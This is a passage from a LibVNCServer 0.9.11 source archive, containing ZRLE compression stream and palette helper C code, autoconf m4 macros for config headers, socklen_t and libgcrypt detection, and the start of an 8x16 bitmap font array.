PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include "zrleoutstream.h" #include #define ZRLE_IN_BUFFER_SIZE 16384 #define ZRLE_OUT_BUFFER_SIZE 1024 #undef ZRLE_DEBUG static rfbBool zrleBufferAlloc(zrleBuffer *buffer, int size) { buffer->ptr = buffer->start = malloc(size); if (buffer->start == NULL) { buffer->end = NULL; return FALSE; } buffer->end = buffer->start + size; return TRUE; } static void zrleBufferFree(zrleBuffer *buffer) { if (buffer->start) free(buffer->start); buffer->start = buffer->ptr = buffer->end = NULL; } static rfbBool zrleBufferGrow(zrleBuffer *buffer, int size) { int offset; size += buffer->end - buffer->start; offset = ZRLE_BUFFER_LENGTH (buffer); buffer->start = realloc(buffer->start, size); if (!buffer->start) { return FALSE; } buffer->end = buffer->start + size; buffer->ptr = buffer->start + offset; return TRUE; } zrleOutStream *zrleOutStreamNew(void) { zrleOutStream *os; os = malloc(sizeof(zrleOutStream)); if (os == NULL) return NULL; if (!zrleBufferAlloc(&os->in, ZRLE_IN_BUFFER_SIZE)) { free(os); return NULL; } if (!zrleBufferAlloc(&os->out, ZRLE_OUT_BUFFER_SIZE)) { zrleBufferFree(&os->in); free(os); return NULL; } os->zs.zalloc = Z_NULL; os->zs.zfree = Z_NULL; os->zs.opaque = Z_NULL; if (deflateInit(&os->zs, Z_DEFAULT_COMPRESSION) != Z_OK) { zrleBufferFree(&os->in); free(os); return NULL; } return os; } void zrleOutStreamFree (zrleOutStream *os) { deflateEnd(&os->zs); zrleBufferFree(&os->in); zrleBufferFree(&os->out); free(os); } rfbBool zrleOutStreamFlush(zrleOutStream *os) { os->zs.next_in = os->in.start; os->zs.avail_in = ZRLE_BUFFER_LENGTH (&os->in); #ifdef ZRLE_DEBUG rfbLog("zrleOutStreamFlush: avail_in %d\n", os->zs.avail_in); #endif while (os->zs.avail_in != 0) { do { int ret; if (os->out.ptr >= os->out.end && !zrleBufferGrow(&os->out, os->out.end - os->out.start)) { rfbLog("zrleOutStreamFlush: failed to grow output buffer\n"); return FALSE; } os->zs.next_out = os->out.ptr; os->zs.avail_out = os->out.end - os->out.ptr; #ifdef ZRLE_DEBUG rfbLog("zrleOutStreamFlush: calling deflate, avail_in %d, avail_out %d\n", os->zs.avail_in, os->zs.avail_out); #endif if ((ret = deflate(&os->zs, Z_SYNC_FLUSH)) != Z_OK) { rfbLog("zrleOutStreamFlush: deflate failed with error code %d\n", ret); return FALSE; } #ifdef ZRLE_DEBUG rfbLog("zrleOutStreamFlush: after deflate: %d bytes\n", os->zs.next_out - os->out.ptr); #endif os->out.ptr = os->zs.next_out; } while (os->zs.avail_out == 0); } os->in.ptr = os->in.start; return TRUE; } static int zrleOutStreamOverrun(zrleOutStream *os, int size) { #ifdef ZRLE_DEBUG rfbLog("zrleOutStreamOverrun\n"); #endif while (os->in.end - os->in.ptr < size && os->in.ptr > os->in.start) { os->zs.next_in = os->in.start; os->zs.avail_in = ZRLE_BUFFER_LENGTH (&os->in); do { int ret; if (os->out.ptr >= os->out.end && !zrleBufferGrow(&os->out, os->out.end - os->out.start)) { rfbLog("zrleOutStreamOverrun: failed to grow output buffer\n"); return FALSE; } os->zs.next_out = os->out.ptr; os->zs.avail_out = os->out.end - os->out.ptr; #ifdef ZRLE_DEBUG rfbLog("zrleOutStreamOverrun: calling deflate, avail_in %d, avail_out %d\n", os->zs.avail_in, os->zs.avail_out); #endif if ((ret = deflate(&os->zs, 0)) != Z_OK) { rfbLog("zrleOutStreamOverrun: deflate failed with error code %d\n", ret); return 0; } #ifdef ZRLE_DEBUG rfbLog("zrleOutStreamOverrun: after deflate: %d bytes\n", os->zs.next_out - os->out.ptr); #endif os->out.ptr = os->zs.next_out; } while (os->zs.avail_out == 0); /* output buffer not full */ if (os->zs.avail_in == 0) { os->in.ptr = os->in.start; } else { /* but didn't consume all the data? try shifting what's left to the * start of the buffer. */ rfbLog("zrleOutStreamOverrun: out buf not full, but in data not consumed\n"); memmove(os->in.start, os->zs.next_in, os->in.ptr - os->zs.next_in); os->in.ptr -= os->zs.next_in - os->in.start; } } if (size > os->in.end - os->in.ptr) size = os->in.end - os->in.ptr; return size; } static int zrleOutStreamCheck(zrleOutStream *os, int size) { if (os->in.ptr + size > os->in.end) { return zrleOutStreamOverrun(os, size); } return size; } void zrleOutStreamWriteBytes(zrleOutStream *os, const zrle_U8 *data, int length) { const zrle_U8* dataEnd = data + length; while (data < dataEnd) { int n = zrleOutStreamCheck(os, dataEnd - data); memcpy(os->in.ptr, data, n); os->in.ptr += n; data += n; } } void zrleOutStreamWriteU8(zrleOutStream *os, zrle_U8 u) { zrleOutStreamCheck(os, 1); *os->in.ptr++ = u; } void zrleOutStreamWriteOpaque8(zrleOutStream *os, zrle_U8 u) { zrleOutStreamCheck(os, 1); *os->in.ptr++ = u; } void zrleOutStreamWriteOpaque16 (zrleOutStream *os, zrle_U16 u) { zrleOutStreamCheck(os, 2); *os->in.ptr++ = ((zrle_U8*)&u)[0]; *os->in.ptr++ = ((zrle_U8*)&u)[1]; } void zrleOutStreamWriteOpaque32 (zrleOutStream *os, zrle_U32 u) { zrleOutStreamCheck(os, 4); *os->in.ptr++ = ((zrle_U8*)&u)[0]; *os->in.ptr++ = ((zrle_U8*)&u)[1]; *os->in.ptr++ = ((zrle_U8*)&u)[2]; *os->in.ptr++ = ((zrle_U8*)&u)[3]; } void zrleOutStreamWriteOpaque24A(zrleOutStream *os, zrle_U32 u) { zrleOutStreamCheck(os, 3); *os->in.ptr++ = ((zrle_U8*)&u)[0]; *os->in.ptr++ = ((zrle_U8*)&u)[1]; *os->in.ptr++ = ((zrle_U8*)&u)[2]; } void zrleOutStreamWriteOpaque24B(zrleOutStream *os, zrle_U32 u) { zrleOutStreamCheck(os, 3); *os->in.ptr++ = ((zrle_U8*)&u)[1]; *os->in.ptr++ = ((zrle_U8*)&u)[2]; *os->in.ptr++ = ((zrle_U8*)&u)[3]; } libvncserver-LibVNCServer-0.9.11/libvncserver/zrleoutstream.h000066400000000000000000000037731303145525000243550ustar00rootroot00000000000000/* * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. * Copyright (C) 2003 Sun Microsystems, Inc. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifndef __ZRLE_OUT_STREAM_H__ #define __ZRLE_OUT_STREAM_H__ #include #include "zrletypes.h" #include "rfb/rfb.h" typedef struct { zrle_U8 *start; zrle_U8 *ptr; zrle_U8 *end; } zrleBuffer; typedef struct { zrleBuffer in; zrleBuffer out; z_stream zs; } zrleOutStream; #define ZRLE_BUFFER_LENGTH(b) ((b)->ptr - (b)->start) zrleOutStream *zrleOutStreamNew (void); void zrleOutStreamFree (zrleOutStream *os); rfbBool zrleOutStreamFlush (zrleOutStream *os); void zrleOutStreamWriteBytes (zrleOutStream *os, const zrle_U8 *data, int length); void zrleOutStreamWriteU8 (zrleOutStream *os, zrle_U8 u); void zrleOutStreamWriteOpaque8 (zrleOutStream *os, zrle_U8 u); void zrleOutStreamWriteOpaque16 (zrleOutStream *os, zrle_U16 u); void zrleOutStreamWriteOpaque32 (zrleOutStream *os, zrle_U32 u); void zrleOutStreamWriteOpaque24A(zrleOutStream *os, zrle_U32 u); void zrleOutStreamWriteOpaque24B(zrleOutStream *os, zrle_U32 u); #endif /* __ZRLE_OUT_STREAM_H__ */ libvncserver-LibVNCServer-0.9.11/libvncserver/zrlepalettehelper.c000066400000000000000000000035141303145525000251540ustar00rootroot00000000000000/* * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. * Copyright (C) 2003 Sun Microsystems, Inc. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include "zrlepalettehelper.h" #include #include #define ZRLE_HASH(pix) (((pix) ^ ((pix) >> 17)) & 4095) void zrlePaletteHelperInit(zrlePaletteHelper *helper) { memset(helper->palette, 0, sizeof(helper->palette)); memset(helper->index, 255, sizeof(helper->index)); memset(helper->key, 0, sizeof(helper->key)); helper->size = 0; } void zrlePaletteHelperInsert(zrlePaletteHelper *helper, zrle_U32 pix) { if (helper->size < ZRLE_PALETTE_MAX_SIZE) { int i = ZRLE_HASH(pix); while (helper->index[i] != 255 && helper->key[i] != pix) i++; if (helper->index[i] != 255) return; helper->index[i] = helper->size; helper->key[i] = pix; helper->palette[helper->size] = pix; } helper->size++; } int zrlePaletteHelperLookup(zrlePaletteHelper *helper, zrle_U32 pix) { int i = ZRLE_HASH(pix); assert(helper->size <= ZRLE_PALETTE_MAX_SIZE); while (helper->index[i] != 255 && helper->key[i] != pix) i++; if (helper->index[i] != 255) return helper->index[i]; return -1; } libvncserver-LibVNCServer-0.9.11/libvncserver/zrlepalettehelper.h000066400000000000000000000030321303145525000251540ustar00rootroot00000000000000/* * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. * Copyright (C) 2003 Sun Microsystems, Inc. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * The PaletteHelper class helps us build up the palette from pixel data by * storing a reverse index using a simple hash-table */ #ifndef __ZRLE_PALETTE_HELPER_H__ #define __ZRLE_PALETTE_HELPER_H__ #include "zrletypes.h" #define ZRLE_PALETTE_MAX_SIZE 127 typedef struct { zrle_U32 palette[ZRLE_PALETTE_MAX_SIZE]; zrle_U8 index[ZRLE_PALETTE_MAX_SIZE + 4096]; zrle_U32 key[ZRLE_PALETTE_MAX_SIZE + 4096]; int size; } zrlePaletteHelper; void zrlePaletteHelperInit (zrlePaletteHelper *helper); void zrlePaletteHelperInsert(zrlePaletteHelper *helper, zrle_U32 pix); int zrlePaletteHelperLookup(zrlePaletteHelper *helper, zrle_U32 pix); #endif /* __ZRLE_PALETTE_HELPER_H__ */ libvncserver-LibVNCServer-0.9.11/libvncserver/zrletypes.h000066400000000000000000000020421303145525000234620ustar00rootroot00000000000000/* * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifndef __ZRLE_TYPES_H__ #define __ZRLE_TYPES_H__ typedef unsigned char zrle_U8; typedef unsigned short zrle_U16; typedef unsigned int zrle_U32; typedef signed char zrle_S8; typedef signed short zrle_S16; typedef signed int zrle_S32; #endif /* __ZRLE_TYPES_H__ */ libvncserver-LibVNCServer-0.9.11/m4/000077500000000000000000000000001303145525000170665ustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/m4/.gitignore000066400000000000000000000000041303145525000210500ustar00rootroot00000000000000*.m4libvncserver-LibVNCServer-0.9.11/m4/ax_prefix_config_h.m4000066400000000000000000000200011303145525000231420ustar00rootroot00000000000000# =========================================================================== # http://www.gnu.org/software/autoconf-archive/ax_prefix_config_h.html # =========================================================================== # # SYNOPSIS # # AX_PREFIX_CONFIG_H [(OUTPUT-HEADER [,PREFIX [,ORIG-HEADER]])] # # DESCRIPTION # # Generate an installable config.h. # # A package should not normally install its config.h as a system header, # but if it must, this macro can be used to avoid namespace pollution by # making a copy of config.h with a prefix added to all the macro names. # # Each "#define SOMEDEF" line of the configuration header has the given # prefix added, in the same case as the first character of the macro name. # # Defaults: # # OUTPUT-HEADER = $PACKAGE-config.h # PREFIX = $PACKAGE # ORIG-HEADER, from AM_CONFIG_HEADER(config.h) # # Your configure.ac script should contain both macros in this order. # # Example: # # AC_INIT(config.h.in) # config.h.in as created by "autoheader" # AM_INIT_AUTOMAKE(testpkg, 0.1.1) # makes #undef VERSION and PACKAGE # AM_CONFIG_HEADER(config.h) # prep config.h from config.h.in # AX_PREFIX_CONFIG_H(mylib/_config.h) # prep mylib/_config.h from it.. # AC_MEMORY_H # makes "#undef NEED_MEMORY_H" # AC_C_CONST_H # makes "#undef const" # AC_OUTPUT(Makefile) # creates the "config.h" now # # and also mylib/_config.h # # If the argument to AX_PREFIX_CONFIG_H would have been omitted then the # default output file would have been called simply "testpkg-config.h", # but even under the name "mylib/_config.h" it contains prefix-defines # like # # #ifndef TESTPKG_VERSION # #define TESTPKG_VERSION "0.1.1" # #endif # #ifndef TESTPKG_NEED_MEMORY_H # #define TESTPKG_NEED_MEMORY_H 1 # #endif # #ifndef _testpkg_const # #define _testpkg_const _const # #endif # # and this "mylib/_config.h" can be installed along with other header # files, which is most convenient when creating a shared library (that has # some headers) whose functionality depends on features detected at # compile-time. No need to invent some "mylib-confdefs.h.in" manually. # # Note that some AC_DEFINEs that end up in the config.h file are actually # self-referential - e.g. AC_C_INLINE, AC_C_CONST, and the AC_TYPE_OFF_T # say that they "will define inline|const|off_t if the system does not do # it by itself". You might want to clean up about these - consider an # extra mylib/conf.h that reads something like: # # #include # #ifndef _testpkg_const # #define _testpkg_const const # #endif # # and then start using _testpkg_const in the header files. That is also a # good thing to differentiate whether some library-user has starting to # take up with a different compiler, so perhaps it could read something # like this: # # #ifdef _MSC_VER # #include # #else # #include # #endif # #ifndef _testpkg_const # #define _testpkg_const const # #endif # # LICENSE # # Copyright (c) 2014 Reuben Thomas # Copyright (c) 2008 Guido U. Draheim # Copyright (c) 2008 Marten Svantesson # Copyright (c) 2008 Gerald Point # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 3 of the License, or (at your # option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General # Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program. If not, see . # # As a special exception, the respective Autoconf Macro's copyright owner # gives unlimited permission to copy, distribute and modify the configure # scripts that are the output of Autoconf when processing the Macro. You # need not follow the terms of the GNU General Public License when using # or distributing such scripts, even though portions of the text of the # Macro appear in them. The GNU General Public License (GPL) does govern # all other use of the material that constitutes the Autoconf Macro. # # This special exception to the GPL applies to versions of the Autoconf # Macro released by the Autoconf Archive. When you make and distribute a # modified version of the Autoconf Macro, you may extend this special # exception to the GPL to apply to your modified version as well. #serial 15 AC_DEFUN([AX_PREFIX_CONFIG_H],[dnl AC_PREREQ([2.62]) AC_BEFORE([AC_CONFIG_HEADERS],[$0])dnl AC_CONFIG_COMMANDS(m4_default([$1], [$PACKAGE-config.h]),[dnl AS_VAR_PUSHDEF([_OUT],[ac_prefix_conf_OUT])dnl AS_VAR_PUSHDEF([_DEF],[ac_prefix_conf_DEF])dnl AS_VAR_PUSHDEF([_PKG],[ac_prefix_conf_PKG])dnl AS_VAR_PUSHDEF([_LOW],[ac_prefix_conf_LOW])dnl AS_VAR_PUSHDEF([_UPP],[ac_prefix_conf_UPP])dnl AS_VAR_PUSHDEF([_INP],[ac_prefix_conf_INP])dnl m4_pushdef([_script],[conftest.prefix])dnl m4_pushdef([_symbol],[m4_cr_Letters[]m4_cr_digits[]_])dnl _OUT=`echo m4_default([$1], [$PACKAGE-config.h])` _DEF=`echo _$_OUT | sed -e "y:m4_cr_letters:m4_cr_LETTERS[]:" -e "s/@<:@^m4_cr_Letters@:>@/_/g"` _PKG=`echo m4_default([$2], [$PACKAGE])` _LOW=`echo _$_PKG | sed -e "y:m4_cr_LETTERS-:m4_cr_letters[]_:"` _UPP=`echo $_PKG | sed -e "y:m4_cr_letters-:m4_cr_LETTERS[]_:" -e "/^@<:@m4_cr_digits@:>@/s/^/_/"` _INP=`echo "$3" | sed -e 's/ *//'` if test ".$_INP" = "."; then for ac_file in : $CONFIG_HEADERS; do test "_$ac_file" = _: && continue case "$ac_file" in *.h) _INP=$ac_file ;; *) esac test ".$_INP" != "." && break done fi if test ".$_INP" = "."; then case "$_OUT" in */*) _INP=`basename "$_OUT"` ;; *-*) _INP=`echo "$_OUT" | sed -e "s/@<:@_symbol@:>@*-//"` ;; *) _INP=config.h ;; esac fi if test -z "$_PKG" ; then AC_MSG_ERROR([no prefix for _PREFIX_PKG_CONFIG_H]) else if test ! -f "$_INP" ; then if test -f "$srcdir/$_INP" ; then _INP="$srcdir/$_INP" fi fi AC_MSG_NOTICE(creating $_OUT - prefix $_UPP for $_INP defines) if test -f $_INP ; then AS_ECHO(["s/^@%:@undef *\\(@<:@m4_cr_LETTERS[]_@:>@\\)/@%:@undef $_UPP""_\\1/"]) > _script AS_ECHO(["s/^@%:@undef *\\(@<:@m4_cr_letters@:>@\\)/@%:@undef $_LOW""_\\1/"]) >> _script AS_ECHO(["s/^@%:@def[]ine *\\(@<:@m4_cr_LETTERS[]_@:>@@<:@_symbol@:>@*\\)\\(.*\\)/@%:@ifndef $_UPP""_\\1\\"]) >> _script AS_ECHO(["@%:@def[]ine $_UPP""_\\1\\2\\"]) >> _script AS_ECHO(["@%:@endif/"]) >> _script AS_ECHO(["s/^@%:@def[]ine *\\(@<:@m4_cr_letters@:>@@<:@_symbol@:>@*\\)\\(.*\\)/@%:@ifndef $_LOW""_\\1\\"]) >> _script AS_ECHO(["@%:@define $_LOW""_\\1\\2\\"]) >> _script AS_ECHO(["@%:@endif/"]) >> _script # now executing _script on _DEF input to create _OUT output file echo "@%:@ifndef $_DEF" >$tmp/pconfig.h echo "@%:@def[]ine $_DEF 1" >>$tmp/pconfig.h echo ' ' >>$tmp/pconfig.h echo /'*' $_OUT. Generated automatically at end of configure. '*'/ >>$tmp/pconfig.h sed -f _script $_INP >>$tmp/pconfig.h echo ' ' >>$tmp/pconfig.h echo '/* once:' $_DEF '*/' >>$tmp/pconfig.h echo "@%:@endif" >>$tmp/pconfig.h if cmp -s $_OUT $tmp/pconfig.h 2>/dev/null; then AC_MSG_NOTICE([$_OUT is unchanged]) else ac_dir=`AS_DIRNAME(["$_OUT"])` AS_MKDIR_P(["$ac_dir"]) rm -f "$_OUT" mv $tmp/pconfig.h "$_OUT" fi else AC_MSG_ERROR([input file $_INP does not exist - skip generating $_OUT]) fi rm -f conftest.* fi m4_popdef([_symbol])dnl m4_popdef([_script])dnl AS_VAR_POPDEF([_INP])dnl AS_VAR_POPDEF([_UPP])dnl AS_VAR_POPDEF([_LOW])dnl AS_VAR_POPDEF([_PKG])dnl AS_VAR_POPDEF([_DEF])dnl AS_VAR_POPDEF([_OUT])dnl ],[PACKAGE="$PACKAGE"])]) libvncserver-LibVNCServer-0.9.11/m4/ax_type_socklen_t.m4000066400000000000000000000045711303145525000230510ustar00rootroot00000000000000# =========================================================================== # http://www.gnu.org/software/autoconf-archive/ax_type_socklen_t.html # =========================================================================== # # SYNOPSIS # # AX_TYPE_SOCKLEN_T # # DESCRIPTION # # Check whether sys/socket.h defines type socklen_t. Please note that some # systems require sys/types.h to be included before sys/socket.h can be # compiled. # # LICENSE # # Copyright (c) 2008 Lars Brinkhoff # # This program is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation; either version 2 of the License, or (at your # option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General # Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program. If not, see . # # As a special exception, the respective Autoconf Macro's copyright owner # gives unlimited permission to copy, distribute and modify the configure # scripts that are the output of Autoconf when processing the Macro. You # need not follow the terms of the GNU General Public License when using # or distributing such scripts, even though portions of the text of the # Macro appear in them. The GNU General Public License (GPL) does govern # all other use of the material that constitutes the Autoconf Macro. # # This special exception to the GPL applies to versions of the Autoconf # Macro released by the Autoconf Archive. When you make and distribute a # modified version of the Autoconf Macro, you may extend this special # exception to the GPL to apply to your modified version as well. #serial 5 AU_ALIAS([TYPE_SOCKLEN_T], [AX_TYPE_SOCKLEN_T]) AC_DEFUN([AX_TYPE_SOCKLEN_T], [AC_CACHE_CHECK([for socklen_t], ac_cv_ax_type_socklen_t, [ AC_TRY_COMPILE( [#include #include ], [socklen_t len = 42; return 0;], ac_cv_ax_type_socklen_t=yes, ac_cv_ax_type_socklen_t=no) ]) if test $ac_cv_ax_type_socklen_t != yes; then AC_DEFINE(socklen_t, int, [Substitute for socklen_t]) fi ]) libvncserver-LibVNCServer-0.9.11/m4/libgcrypt.m4000066400000000000000000000111671303145525000213350ustar00rootroot00000000000000dnl Autoconf macros for libgcrypt dnl Copyright (C) 2002, 2004 Free Software Foundation, Inc. dnl dnl This file is free software; as a special exception the author gives dnl unlimited permission to copy and/or distribute it, with or without dnl modifications, as long as this notice is preserved. dnl dnl This file is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY, to the extent permitted by law; without even the dnl implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. dnl AM_PATH_LIBGCRYPT([MINIMUM-VERSION, dnl [ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND ]]]) dnl Test for libgcrypt and define LIBGCRYPT_CFLAGS and LIBGCRYPT_LIBS. dnl MINIMUN-VERSION is a string with the version number optionalliy prefixed dnl with the API version to also check the API compatibility. Example: dnl a MINIMUN-VERSION of 1:1.2.5 won't pass the test unless the installed dnl version of libgcrypt is at least 1.2.5 *and* the API number is 1. Using dnl this features allows to prevent build against newer versions of libgcrypt dnl with a changed API. dnl AC_DEFUN([AM_PATH_LIBGCRYPT], [ AC_ARG_WITH(libgcrypt-prefix, AC_HELP_STRING([--with-libgcrypt-prefix=PFX], [prefix where LIBGCRYPT is installed (optional)]), libgcrypt_config_prefix="$withval", libgcrypt_config_prefix="") if test x$libgcrypt_config_prefix != x ; then if test x${LIBGCRYPT_CONFIG+set} != xset ; then LIBGCRYPT_CONFIG=$libgcrypt_config_prefix/bin/libgcrypt-config fi fi AC_PATH_TOOL(LIBGCRYPT_CONFIG, libgcrypt-config, no) tmp=ifelse([$1], ,1:1.2.0,$1) if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then req_libgcrypt_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'` min_libgcrypt_version=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\2/'` else req_libgcrypt_api=0 min_libgcrypt_version="$tmp" fi AC_MSG_CHECKING(for LIBGCRYPT - version >= $min_libgcrypt_version) ok=no if test "$LIBGCRYPT_CONFIG" != "no" ; then req_major=`echo $min_libgcrypt_version | \ sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\1/'` req_minor=`echo $min_libgcrypt_version | \ sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\2/'` req_micro=`echo $min_libgcrypt_version | \ sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\3/'` libgcrypt_config_version=`$LIBGCRYPT_CONFIG --version` major=`echo $libgcrypt_config_version | \ sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'` minor=`echo $libgcrypt_config_version | \ sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'` micro=`echo $libgcrypt_config_version | \ sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\3/'` if test "$major" -gt "$req_major"; then ok=yes else if test "$major" -eq "$req_major"; then if test "$minor" -gt "$req_minor"; then ok=yes else if test "$minor" -eq "$req_minor"; then if test "$micro" -ge "$req_micro"; then ok=yes fi fi fi fi fi fi if test $ok = yes; then AC_MSG_RESULT([yes ($libgcrypt_config_version)]) else AC_MSG_RESULT(no) fi if test $ok = yes; then # If we have a recent libgcrypt, we should also check that the # API is compatible if test "$req_libgcrypt_api" -gt 0 ; then tmp=`$LIBGCRYPT_CONFIG --api-version 2>/dev/null || echo 0` if test "$tmp" -gt 0 ; then AC_MSG_CHECKING([LIBGCRYPT API version]) if test "$req_libgcrypt_api" -eq "$tmp" ; then AC_MSG_RESULT([okay]) else ok=no AC_MSG_RESULT([does not match. want=$req_libgcrypt_api got=$tmp]) fi fi fi fi if test $ok = yes; then LIBGCRYPT_CFLAGS=`$LIBGCRYPT_CONFIG --cflags` LIBGCRYPT_LIBS=`$LIBGCRYPT_CONFIG --libs` ifelse([$2], , :, [$2]) if test x"$host" != x ; then libgcrypt_config_host=`$LIBGCRYPT_CONFIG --host 2>/dev/null || echo none` if test x"$libgcrypt_config_host" != xnone ; then if test x"$libgcrypt_config_host" != x"$host" ; then AC_MSG_WARN([[ *** *** The config script $LIBGCRYPT_CONFIG was *** built for $libgcrypt_config_host and thus may not match the *** used host $host. *** You may want to use the configure option --with-libgcrypt-prefix *** to specify a matching config script. ***]]) fi fi fi else LIBGCRYPT_CFLAGS="" LIBGCRYPT_LIBS="" ifelse([$3], , :, [$3]) fi AC_SUBST(LIBGCRYPT_CFLAGS) AC_SUBST(LIBGCRYPT_LIBS) ]) libvncserver-LibVNCServer-0.9.11/rfb/000077500000000000000000000000001303145525000173175ustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/rfb/default8x16.h000066400000000000000000000575671303145525000215670ustar00rootroot00000000000000static unsigned char default8x16FontData[4096+1]={ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x7e,0x81,0xa5,0x81,0x81,0xbd,0x99,0x81,0x81,0x7e,0x00,0x00,0x00,0x00, 0x00,0x00,0x7e,0xff,0xdb,0xff,0xff,0xc3,0xe7,0xff,0xff,0x7e,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x6c,0xfe,0xfe,0xfe,0xfe,0x7c,0x38,0x10,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x10,0x38,0x7c,0xfe,0x7c,0x38,0x10,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x18,0x3c,0x3c,0xe7,0xe7,0xe7,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x18,0x3c,0x7e,0xff,0xff,0x7e,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x3c,0x3c,0x18,0x00,0x00,0x00,0x00,0x00,0x00, 0xff,0xff,0xff,0xff,0xff,0xff,0xe7,0xc3,0xc3,0xe7,0xff,0xff,0xff,0xff,0xff,0xff, 0x00,0x00,0x00,0x00,0x00,0x3c,0x66,0x42,0x42,0x66,0x3c,0x00,0x00,0x00,0x00,0x00, 0xff,0xff,0xff,0xff,0xff,0xc3,0x99,0xbd,0xbd,0x99,0xc3,0xff,0xff,0xff,0xff,0xff, 0x00,0x00,0x1e,0x0e,0x1a,0x32,0x78,0xcc,0xcc,0xcc,0xcc,0x78,0x00,0x00,0x00,0x00, 0x00,0x00,0x3c,0x66,0x66,0x66,0x66,0x3c,0x18,0x7e,0x18,0x18,0x00,0x00,0x00,0x00, 0x00,0x00,0x3f,0x33,0x3f,0x30,0x30,0x30,0x30,0x70,0xf0,0xe0,0x00,0x00,0x00,0x00, 0x00,0x00,0x7f,0x63,0x7f,0x63,0x63,0x63,0x63,0x67,0xe7,0xe6,0xc0,0x00,0x00,0x00, 0x00,0x00,0x00,0x18,0x18,0xdb,0x3c,0xe7,0x3c,0xdb,0x18,0x18,0x00,0x00,0x00,0x00, 0x00,0x80,0xc0,0xe0,0xf0,0xf8,0xfe,0xf8,0xf0,0xe0,0xc0,0x80,0x00,0x00,0x00,0x00, 0x00,0x02,0x06,0x0e,0x1e,0x3e,0xfe,0x3e,0x1e,0x0e,0x06,0x02,0x00,0x00,0x00,0x00, 0x00,0x00,0x18,0x3c,0x7e,0x18,0x18,0x18,0x7e,0x3c,0x18,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x00,0x66,0x66,0x00,0x00,0x00,0x00, 0x00,0x00,0x7f,0xdb,0xdb,0xdb,0x7b,0x1b,0x1b,0x1b,0x1b,0x1b,0x00,0x00,0x00,0x00, 0x00,0x7c,0xc6,0x60,0x38,0x6c,0xc6,0xc6,0x6c,0x38,0x0c,0xc6,0x7c,0x00,0x00,0x00, 